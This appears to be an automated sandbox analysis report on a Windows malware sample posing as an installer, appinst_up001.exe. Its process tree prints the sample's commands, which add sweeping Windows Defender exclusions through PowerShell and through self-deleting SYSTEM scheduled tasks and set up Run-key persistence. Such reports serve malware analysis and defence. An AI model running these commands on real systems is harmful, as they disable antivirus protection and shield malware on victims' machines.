Analysis
- max time kernel
148s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
14/08/2026, 19:08
General
- Target appinst_up001.exe
- Size 36.8MB
- Sample260814-xtjdmazygw
- SHA256 4d39376c5b2e0772ee9057ab869eee0887d8c29dc813fca33da0cdbf1e9a34ae
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 2 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Public\3P7jxn\APwqYb.exe"C:\Users\Public\3P7jxn\APwqYb.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3P7jxn\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3P7jxn\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Users\Public\3P7jxn\APwqYb.exe"C:\Users\Public\3P7jxn\APwqYb.exe"1⤵
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3P7jxn" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
APwqYb.exe
UxEnhance64.dll
adoresd.dat
msadox.tb
memory/2612-576-0x0000028347E30000-0x00000283486C1000-memory.dmp
memory/2612-572-0x00007FF8B88B0000-0x00007FF8B8DCE000-memory.dmp
memory/4408-0-0x00000000043B0000-0x00000000043BE000-memory.dmp
memory/4408-1-0x00000000043B0000-0x00000000043BE000-memory.dmp
memory/4408-2-0x00000000043C0000-0x00000000043CC000-memory.dmp
memory/4408-504-0x00007FF8D30E0000-0x00007FF8D30F2000-memory.dmp
memory/4408-524-0x00000000043B0000-0x00000000043BE000-memory.dmp
memory/4408-525-0x00007FF8D30E0000-0x00007FF8D30F2000-memory.dmp
memory/5512-539-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-561-0x00000206F8000000-0x00000206F808A000-memory.dmp
memory/5512-536-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-543-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-544-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-545-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-546-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-550-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-556-0x00000206F7EF0000-0x00000206F7F3E000-memory.dmp
memory/5512-538-0x00007FF8DB4E0000-0x00007FF8DB4E2000-memory.dmp
memory/5512-560-0x00000206F8000000-0x00000206F808A000-memory.dmp
memory/5512-559-0x00000206F8000000-0x00000206F808A000-memory.dmp
memory/5512-557-0x00000206F8000000-0x00000206F808A000-memory.dmp
memory/5512-563-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-566-0x00000206F7650000-0x00000206F7EE1000-memory.dmp
memory/5512-531-0x00007FF8B88B0000-0x00007FF8B8DCE000-memory.dmp
memory/5512-530-0x00007FF8DB4D0000-0x00007FF8DB4D2000-memory.dmp